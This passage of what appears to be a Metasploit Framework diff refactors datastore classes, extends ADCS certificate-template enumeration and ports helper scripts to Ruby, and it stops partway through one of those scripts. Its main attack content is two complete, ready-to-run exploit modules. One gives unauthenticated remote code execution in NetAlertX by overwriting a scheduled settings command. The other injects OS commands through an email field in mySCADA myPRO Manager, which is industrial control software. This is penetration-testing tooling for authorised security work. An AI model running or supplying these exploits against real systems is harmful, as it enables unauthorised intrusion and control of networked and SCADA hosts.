keys.concat(datastore.options.values.flat_map(&:fallbacks)) if datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
keys.concat(datastore.options.values.flat_map(&:fallbacks)) if datastore.is_a?(Msf::DataStore)
|
||||
keys.uniq! { |key| key.downcase }
|
||||
keys
|
||||
end
|
||||
|
||||
@@ -189,7 +189,7 @@ class Console::CommandDispatcher::Lanattacks::Dhcp
|
||||
|
||||
datastore = args.shift
|
||||
|
||||
unless datastore.is_a?(Hash) || datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
unless datastore.is_a?(Hash) || datastore.is_a?(Msf::DataStore)
|
||||
print_dhcp_load_options_usage
|
||||
return true
|
||||
end
|
||||
|
||||
@@ -5,13 +5,26 @@ module Rex::Proto
|
||||
module MsCrtd
|
||||
# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/4c6950e4-1dc2-4ae3-98c3-b8919bb73822
|
||||
|
||||
# [2.4 flags Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/6cc7eb79-3e84-477a-b398-b0ff2b68a6c0)
|
||||
CT_FLAG_AUTO_ENROLLMENT = 0x00000020
|
||||
CT_FLAG_MACHINE_TYPE = 0x00000040
|
||||
CT_FLAG_IS_CA = 0x00000080
|
||||
CT_FLAG_ADD_TEMPLATE_NAME = 0x00000200
|
||||
CT_FLAG_IS_CROSS_CA = 0x00000800
|
||||
CT_FLAG_IS_DEFAULT = 0x00010000
|
||||
CT_FLAG_IS_MODIFIED = 0x00020000
|
||||
CT_FLAG_DONOTPERSISTINDB = 0x00001000
|
||||
CT_FLAG_ADD_EMAIL = 0x00000002
|
||||
CT_FLAG_PUBLISH_TO_DS = 0x00000008
|
||||
CT_FLAG_EXPORTABLE_KEY = 0x00000010
|
||||
|
||||
# [2.26 msPKI-Enrollment-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1)
|
||||
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS = 0x00000001
|
||||
CT_FLAG_PEND_ALL_REQUESTS = 0x00000002
|
||||
CT_FLAG_PUBLISH_TO_KRA_CONTAINER = 0x00000004
|
||||
CT_FLAG_PUBLISH_TO_DS = 0x00000008
|
||||
#CT_FLAG_PUBLISH_TO_DS = 0x00000008
|
||||
CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = 0x00000010
|
||||
CT_FLAG_AUTO_ENROLLMENT = 0x00000020
|
||||
#CT_FLAG_AUTO_ENROLLMENT = 0x00000020
|
||||
CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = 0x00000040
|
||||
CT_FLAG_USER_INTERACTION_REQUIRED = 0x00000100
|
||||
CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = 0x00000400
|
||||
@@ -26,7 +39,7 @@ module Rex::Proto
|
||||
|
||||
# [2.27 msPKI-Private-Key-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667)
|
||||
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001
|
||||
CT_FLAG_EXPORTABLE_KEY = 0x00000010
|
||||
#CT_FLAG_EXPORTABLE_KEY = 0x00000010
|
||||
CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED = 0x00000020
|
||||
CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = 0x00000040
|
||||
CT_FLAG_REQUIRE_SAME_KEY_RENEWAL = 0x00000080
|
||||
|
||||
@@ -346,6 +346,29 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status(" objectGUID: #{object_guid}")
|
||||
end
|
||||
|
||||
pki_flag = obj['flags']&.first
|
||||
if pki_flag.present?
|
||||
pki_flag = [obj['flags'].first.to_i].pack('l').unpack1('L')
|
||||
print_status(" flags: 0x#{pki_flag.to_s(16).rjust(8, '0')}")
|
||||
%w[
|
||||
CT_FLAG_AUTO_ENROLLMENT
|
||||
CT_FLAG_MACHINE_TYPE
|
||||
CT_FLAG_IS_CA
|
||||
CT_FLAG_ADD_TEMPLATE_NAME
|
||||
CT_FLAG_IS_CROSS_CA
|
||||
CT_FLAG_IS_DEFAULT
|
||||
CT_FLAG_IS_MODIFIED
|
||||
CT_FLAG_DONOTPERSISTINDB
|
||||
CT_FLAG_ADD_EMAIL
|
||||
CT_FLAG_PUBLISH_TO_DS
|
||||
CT_FLAG_EXPORTABLE_KEY
|
||||
].each do |flag_name|
|
||||
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0
|
||||
print_status(" * #{flag_name}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
pki_flag = obj['mspki-certificate-name-flag']&.first
|
||||
if pki_flag.present?
|
||||
pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')
|
||||
@@ -481,6 +504,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")
|
||||
end
|
||||
|
||||
if obj['showinadvancedviewonly'].present?
|
||||
print_status(" showInAdvancedViewOnly: #{obj['showinadvancedviewonly'].first}")
|
||||
end
|
||||
|
||||
{ object: obj, file: stored }
|
||||
end
|
||||
|
||||
|
||||
@@ -543,7 +543,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
ca_server_ip_address = get_ip_addresses_by_fqdn(ca_server_fqdn)&.first
|
||||
|
||||
if ca_server_ip_address
|
||||
service = report_service({
|
||||
report_service({
|
||||
host: ca_server_ip_address,
|
||||
port: 445,
|
||||
proto: 'tcp',
|
||||
@@ -551,13 +551,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
info: "AD CS CA name: #{ca_server[:name][0]}"
|
||||
})
|
||||
|
||||
report_note({
|
||||
data: ca_server[:dn][0].to_s,
|
||||
service: service,
|
||||
host: ca_server_ip_address,
|
||||
ntype: 'windows.ad.cs.ca.dn'
|
||||
})
|
||||
|
||||
report_host({
|
||||
host: ca_server_ip_address,
|
||||
name: ca_server_fqdn
|
||||
@@ -618,7 +611,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
info = hash[:notes].select { |note| note.start_with?(prefix) }.map { |note| note.delete_prefix(prefix).strip }.join("\n")
|
||||
info = nil if info.blank?
|
||||
|
||||
hash[:ca_servers].each do |ca_fqdn, ca_server|
|
||||
hash[:ca_servers].each_value do |ca_server|
|
||||
service = report_service({
|
||||
host: ca_server[:ip_address],
|
||||
port: 445,
|
||||
@@ -641,14 +634,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
else
|
||||
vuln = nil
|
||||
end
|
||||
|
||||
report_note({
|
||||
data: hash[:dn],
|
||||
service: service,
|
||||
host: ca_fqdn.to_s,
|
||||
ntype: 'windows.ad.cs.ca.template.dn',
|
||||
vuln_id: vuln&.id
|
||||
})
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -107,11 +107,12 @@ class MetasploitModule < Msf::Auxiliary
|
||||
def on_relay_success(relay_connection:, relay_identity:)
|
||||
case datastore['MODE']
|
||||
when 'AUTO'
|
||||
cert_template = relay_identity.end_with?('$') ? 'Computer' : 'User'
|
||||
retrieve_cert(relay_connection, relay_identity, cert_template)
|
||||
cert_template = relay_identity.end_with?('$') ? ['DomainController', 'Machine'] : ['User']
|
||||
retrieve_certs(relay_connection, relay_identity, cert_template)
|
||||
when 'ALL', 'QUERY_ONLY'
|
||||
cert_templates = get_cert_templates(relay_connection)
|
||||
unless cert_templates.nil? || cert_templates.empty?
|
||||
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
|
||||
print_good("Available Certificates for #{relay_identity} on #{datastore['RELAY_TARGET']}: #{cert_templates.join(', ')}")
|
||||
if datastore['MODE'] == 'ALL'
|
||||
retrieve_certs(relay_connection, relay_identity, cert_templates)
|
||||
|
||||
@@ -0,0 +1,157 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
include Msf::Exploit::Retry
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Unauthenticated RCE in NetAlertX',
|
||||
'Description' => %q{
|
||||
An attacker can update NetAlertX settings with no authentication, which results in RCE.
|
||||
},
|
||||
'Author' => [
|
||||
'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC
|
||||
'Takahiro Yokoyama' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2024-46506'],
|
||||
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'],
|
||||
# ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?)
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'FETCH_DELETE' => true,
|
||||
'WfsDelay' => 150
|
||||
},
|
||||
'Platform' => %w[linux],
|
||||
'Targets' => [
|
||||
[
|
||||
'Linux Command', {
|
||||
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Payload' => {
|
||||
'BadChars' => ' \'\\'
|
||||
},
|
||||
'DisclosureDate' => '2025-01-30',
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SAFE, ],
|
||||
'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
||||
'Reliability' => [ REPEATABLE_SESSION, ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(20211),
|
||||
OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]),
|
||||
OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true])
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'maintenance.php')
|
||||
})
|
||||
return Exploit::CheckCode::Unknown unless res&.code == 200
|
||||
|
||||
html_document = res&.get_html_document
|
||||
return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank?
|
||||
|
||||
version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*')
|
||||
return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank?
|
||||
|
||||
version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, ''))
|
||||
return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12'))
|
||||
|
||||
Exploit::CheckCode::Appears("Version #{version} detected.")
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Command is split by space character, and executed by the following Python code:
|
||||
# subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT))
|
||||
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206
|
||||
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214
|
||||
cmd = "/bin/sh -c #{payload.encode}"
|
||||
update_settings(cmd, '*')
|
||||
# Not updated immediately
|
||||
print_status('Waiting for the settings to be properly updated...')
|
||||
retry_until_truthy(timeout: datastore['WAIT']) do
|
||||
check_settings(cmd)
|
||||
end
|
||||
add_to_execution_queue('run|DBCLNP')
|
||||
add_to_execution_queue('cron_restart_backend')
|
||||
print_status('Added the payload to the queue. Waiting for the payload to run...')
|
||||
end
|
||||
|
||||
def update_settings(cmd, sche)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
|
||||
'vars_post' => {
|
||||
'function' => 'savesettings',
|
||||
'settings' => [
|
||||
['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
|
||||
['DBCLNP', 'DBCLNP_CMD', 'string', cmd],
|
||||
['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"],
|
||||
].to_json
|
||||
}
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200
|
||||
print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.")
|
||||
end
|
||||
|
||||
def add_to_execution_queue(cmd)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'php/server/util.php'),
|
||||
'vars_post' => {
|
||||
'function' => 'addToExecutionQueue',
|
||||
'action' => "#{SecureRandom.uuid}|#{cmd}"
|
||||
}
|
||||
})
|
||||
fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200
|
||||
end
|
||||
|
||||
def check_settings(cmd)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'api/table_settings.json')
|
||||
})
|
||||
return unless res&.code == 200
|
||||
|
||||
res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd }
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
|
||||
if datastore['CLEANUP']
|
||||
# Default settings, isn't usually changed.
|
||||
# https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92
|
||||
update_settings(
|
||||
'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}',
|
||||
'*/30'
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,110 @@
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)',
|
||||
'Description' => %q{
|
||||
Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA.
|
||||
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
|
||||
'References' => [
|
||||
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'],
|
||||
[ 'CVE', '2024-47407']
|
||||
],
|
||||
'DisclosureDate' => '2024-11-21',
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 34022,
|
||||
'SSL' => 'False'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows_Fetch',
|
||||
{
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Platform' => 'win',
|
||||
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
|
||||
'Type' => :win_fetch
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new(
|
||||
'TARGETURI',
|
||||
[ true, 'The URI for the MyPRO Manager web interface', '/' ]
|
||||
)
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js')
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.to_s =~ /const v="([^"]+)"/
|
||||
version = ::Regexp.last_match(1)
|
||||
vprint_status('Version retrieved: ' + version)
|
||||
if Rex::Version.new(version) <= Rex::Version.new('1.2')
|
||||
return CheckCode::Appears
|
||||
end
|
||||
|
||||
return CheckCode::Safe
|
||||
end
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
execute_command(payload.encoded)
|
||||
end
|
||||
|
||||
def execute_command(cmd)
|
||||
exec_mypro_mgr(cmd)
|
||||
print_status('Exploit finished, check thy shell.')
|
||||
end
|
||||
|
||||
def exec_mypro_mgr(cmd)
|
||||
post_data = {
|
||||
'command' => 'testEmail',
|
||||
'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #"
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/json',
|
||||
'data' => JSON.generate(post_data),
|
||||
'uri' => normalize_uri(target_uri.path, 'get')
|
||||
})
|
||||
|
||||
if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout.
|
||||
print_good('Command successfully executed, check your shell.')
|
||||
else
|
||||
print_error('Unexpected or no reply received.')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
@@ -700,7 +700,7 @@ RSpec.shared_examples_for 'a datastore' do
|
||||
end
|
||||
end
|
||||
|
||||
RSpec.describe Msf::DataStoreWithFallbacks do
|
||||
RSpec.describe Msf::DataStore do
|
||||
include_context 'datastore subjects'
|
||||
|
||||
subject(:default_subject) do
|
||||
@@ -712,11 +712,11 @@ RSpec.describe Msf::DataStoreWithFallbacks do
|
||||
it_behaves_like 'a datastore'
|
||||
end
|
||||
|
||||
RSpec.describe Msf::ModuleDataStoreWithFallbacks do
|
||||
RSpec.describe Msf::ModuleDataStore do
|
||||
include_context 'datastore subjects'
|
||||
|
||||
let(:framework_datastore) do
|
||||
Msf::DataStoreWithFallbacks.new
|
||||
Msf::DataStore.new
|
||||
end
|
||||
let(:mod) do
|
||||
framework = instance_double(Msf::Framework, datastore: framework_datastore)
|
||||
|
||||
@@ -53,7 +53,7 @@ RSpec.describe Msf::OptionGroup do
|
||||
let(:option_names) { ['not_required_name', required_option_name] }
|
||||
let(:required_names) { [required_option_name] }
|
||||
let(:options) { instance_double(Msf::OptionContainer) }
|
||||
let(:datastore) { instance_double(Msf::DataStoreWithFallbacks) }
|
||||
let(:datastore) { instance_double(Msf::DataStore) }
|
||||
|
||||
context 'when there are no required options' do
|
||||
subject { described_class.new(name: 'name', description: 'description', option_names: option_names) }
|
||||
|
||||
@@ -24,7 +24,7 @@ RSpec.describe 'SSH Login Check Scanner' do
|
||||
let(:credential) do
|
||||
Metasploit::Framework::Credential.new(private: password, public: username)
|
||||
end
|
||||
let(:datastore) { Msf::ModuleDataStoreWithFallbacks.new(subject) }
|
||||
let(:datastore) { Msf::ModuleDataStore.new(subject) }
|
||||
let(:host) { '10.10.10.10' }
|
||||
let(:module_manager) { instance_double(Msf::ModuleManager) }
|
||||
let(:password) { 'secret' }
|
||||
|
||||
@@ -159,12 +159,6 @@ RSpec.configure do |config|
|
||||
end
|
||||
end
|
||||
|
||||
if ENV['MSF_FEATURE_DATASTORE_FALLBACKS']
|
||||
config.before(:suite) do
|
||||
Msf::FeatureManager.instance.set(Msf::FeatureManager::DATASTORE_FALLBACKS, true)
|
||||
end
|
||||
end
|
||||
|
||||
if ENV['MSF_FEATURE_DEFER_MODULE_LOADS']
|
||||
config.before(:suite) do
|
||||
Msf::FeatureManager.instance.set(Msf::FeatureManager::DEFER_MODULE_LOADS, true)
|
||||
|
||||
@@ -7,7 +7,7 @@ RSpec.shared_examples_for Msf::OptionalSession do
|
||||
include_context 'Msf::Simple::Framework'
|
||||
|
||||
let(:options) { instance_double(Msf::OptionContainer) }
|
||||
let(:datastore) { instance_double(Msf::DataStoreWithFallbacks) }
|
||||
let(:datastore) { instance_double(Msf::DataStore) }
|
||||
let(:session) { instance_double(Msf::Sessions::SMB) }
|
||||
let(:session_group) { instance_double(Msf::OptionGroup) }
|
||||
let(:rhost_group) { instance_double(Msf::OptionGroup) }
|
||||
|
||||
@@ -2,4 +2,4 @@ RSpec.shared_examples_for 'Msf::Module::DataStore' do
|
||||
it { is_expected.to respond_to :datastore }
|
||||
it { is_expected.to respond_to :import_defaults }
|
||||
it { is_expected.to respond_to :share_datastore }
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
|
||||
new_com = requests.get("https://raw.githubusercontent.com/rezasp/joomscan/master/exploit/db/componentslist.txt").text
|
||||
with open('data/wordlists/joomla.txt', 'r') as j:
|
||||
old = j.read().splitlines()
|
||||
|
||||
for com in new_com.splitlines():
|
||||
if not 'components/%s/'%(com) in old:
|
||||
old.append('components/%s/'%(com))
|
||||
print('[+] Adding: components/%s/'%(com))
|
||||
|
||||
old.sort()
|
||||
with open('data/wordlists/joomla.txt', 'w') as j:
|
||||
j.write('\n'.join(old))
|
||||
j.write('\n')
|
||||
@@ -0,0 +1,78 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
#
|
||||
# by h00die
|
||||
#
|
||||
|
||||
require 'optparse'
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
optparse = OptionParser.new do |opts|
|
||||
opts.banner = 'Usage: ruby tools/dev/update_joomla_components.rb [options]'
|
||||
opts.separator "This program updates data/wordlists/joomla.txt which is used by modules/auxiliary/scanner/http/joomla_scanner.rb to have the most up-to-date list of vuln components"
|
||||
opts.separator ""
|
||||
opts.on('-h', '--help', 'Display this screen.') do
|
||||
puts opts
|
||||
exit
|
||||
end
|
||||
end
|
||||
optparse.parse!
|
||||
|
||||
# colors and puts templates from msftidy.rb
|
||||
|
||||
class String
|
||||
def red
|
||||
"\e[1;31;40m#{self}\e[0m"
|
||||
end
|
||||
|
||||
def yellow
|
||||
"\e[1;33;40m#{self}\e[0m"
|
||||
end
|
||||
|
||||
def green
|
||||
"\e[1;32;40m#{self}\e[0m"
|
||||
end
|
||||
|
||||
def cyan
|
||||
"\e[1;36;40m#{self}\e[0m"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Display an error message, given some text
|
||||
#
|
||||
def error(txt)
|
||||
puts "[#{'ERROR'.red}] #{cleanup_text(txt)}"
|
||||
end
|
||||
|
||||
#
|
||||
# Display a warning message, given some text
|
||||
#
|
||||
def warning(txt)
|
||||
puts "[#{'WARNING'.yellow}] #{cleanup_text(txt)}"
|
||||
end
|
||||
|
||||
#
|
||||
# Display a info message, given some text
|
||||
#
|
||||
def info(txt)
|
||||
puts "[#{'INFO'.cyan}] #{cleanup_text(txt)}"
|
||||
end
|
||||
|
||||
uri = URI.parse('https://raw.githubusercontent.com/rezasp/joomscan/master/exploit/db/componentslist.txt')
|
||||
new_com = Net::HTTP.get(uri)
|
||||
|
||||
old = File.read('data/wordlists/joomla.txt').split("\n")
|
||||
|
||||
new_com.each_line do |com|
|
||||
unless old.include?("components/#{com.strip}/")
|
||||
old << "components/#{com.strip}/"
|
||||
info "Adding: components/#{com.strip}/"
|
||||
end
|
||||
end
|
||||
|
||||
old.sort!
|
||||
File.open('data/wordlists/joomla.txt', 'w') do |file|
|
||||
file.puts old
|
||||
end
|
||||
@@ -1,56 +0,0 @@
|
||||
#!/usr/bin/python3
|
||||
import requests
|
||||
import re
|
||||
|
||||
def replace_agent_string(lines, replace_marker, url, regex):
|
||||
VALID_CHARS = 'a-zA-Z0-9\\(\\);:\\.,/_ '
|
||||
regex = regex.replace('{VALID_CHARS}', VALID_CHARS)
|
||||
print(f'Updating {replace_marker}')
|
||||
for x in range(0, len(lines)):
|
||||
if replace_marker in lines[x]:
|
||||
break
|
||||
else:
|
||||
raise RuntimeError(f"Couldn't find marker {replace_marker}")
|
||||
|
||||
response = requests.get(url)
|
||||
if response.status_code != 200:
|
||||
raise RuntimeError(f"Can't retrieve {url}")
|
||||
|
||||
match = re.search(regex, response.text)
|
||||
if match is None:
|
||||
raise RuntimeError(f"Couldn't match regex {regex}")
|
||||
|
||||
new_string = match.groups()[0]
|
||||
print(f'New value is: {new_string}')
|
||||
old_line = lines[x]
|
||||
if f"'{new_string}'" in old_line:
|
||||
print('(This is unchanged from the previous value)')
|
||||
else:
|
||||
new_line = re.sub("'(.*)'", f"'{new_string}'", old_line)
|
||||
if old_line == new_line:
|
||||
raise RuntimeError(f"Line didn't change: {old_line}")
|
||||
|
||||
lines[x] = new_line
|
||||
|
||||
|
||||
chrome_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/chrome"
|
||||
edge_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/edge"
|
||||
safari_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/safari"
|
||||
firefox_url = "https://www.whatismybrowser.com/guides/the-latest-user-agent/firefox"
|
||||
|
||||
user_agent_filename = 'lib/rex/user_agent.rb'
|
||||
with open(user_agent_filename,'r') as f:
|
||||
lines = f.read().splitlines()
|
||||
|
||||
replace_agent_string(lines, 'Chrome Windows', chrome_url, '<td>Chrome \\(Standard\\)</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Chrome MacOS', chrome_url, '<td>Chrome \\(Standard\\)</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Edge Windows', edge_url, '<td>Edge \\(Standard\\)</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Safari iPad', safari_url, '<td>\\s*Safari on <b>Ipad</b>\\s*</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*iPad[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Safari MacOS', safari_url, '<td>Safari \\(Standard\\)</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Firefox Windows', firefox_url, '<td>\\s*Firefox on <b>Windows</b>\\s*</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Windows NT[{VALID_CHARS}]*)</span>')
|
||||
replace_agent_string(lines, 'Firefox MacOS', firefox_url, '<td>\\s*Firefox on <b>Macos</b>\\s*</td>\\s*<td>\\s*<ul>\\s*<li><span class="code">([{VALID_CHARS}]*Macintosh[{VALID_CHARS}]*)</span>')
|
||||
|
||||
with open(user_agent_filename, 'w') as f:
|
||||
f.write('\n'.join(lines) + '\n')
|
||||
|
||||
print('Done')
|
||||
@@ -0,0 +1,112 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'optparse'
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
optparse = OptionParser.new do |opts|
|
||||
opts.banner = 'Usage: ruby tools/dev/update_user_agent_strings.rb [options]'
|
||||
opts.separator "This program updates lib/rex/user_agent.rb so Metasploit uses the most up-to-date User Agent strings across the framework."
|
||||
opts.separator ""
|
||||
opts.on('-h', '--help', 'Display this screen.') do
|
||||
puts opts
|
||||
exit
|
||||
end
|
||||
end
|
||||
optparse.parse!
|
||||
|
||||
# colors and puts templates from msftidy.rb
|
||||
|
||||
class String
|
||||
def red
|
||||
"\e[1;31;40m#{self}\e[0m"
|
||||
end
|
||||
|
||||
def yellow
|
||||
"\e[1;33;40m#{self}\e[0m"
|
||||
end
|
||||
|
||||
def green
|
||||
"\e[1;32;40m#{self}\e[0m"
|
||||
end
|
||||
|
||||
def cyan
|
||||
"\e[1;36;40m#{self}\e[0m"
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Display an error message, given some text
|
||||
#
|
||||
def error(txt)
|
||||
puts "[#{'ERROR'.red}] #{cleanup_text(txt)}"
|
||||
end
|
||||
|
||||
#
|
||||
# Display a warning message, given some text
|
||||
#
|
||||
def warning(txt)
|
||||
puts "[#{'WARNING'.yellow}] #{cleanup_text(txt)}"
|
||||
end
|
||||
|
||||
#
|
||||
# Display a info message, given some text
|
||||
#
|
||||
def info(txt)
|
||||
puts "[#{'INFO'.cyan}] #{cleanup_text(txt)}"
|
||||
end
|
||||
|
||||
def cleanup_text(txt)
|
||||
# remove line breaks
|
||||
txt = txt.gsub(/[\r\n]/, ' ')
|
||||
# replace multiple spaces by one space
|
||||
txt.gsub(/\s{2,}/, ' ')
|
||||
end
|
||||
|
||||
def replace_agent_string(lines, replace_marker, url, regex)
|
||||
valid_chars = 'a-zA-Z0-9\(\);:\.,/_ '
|
||||
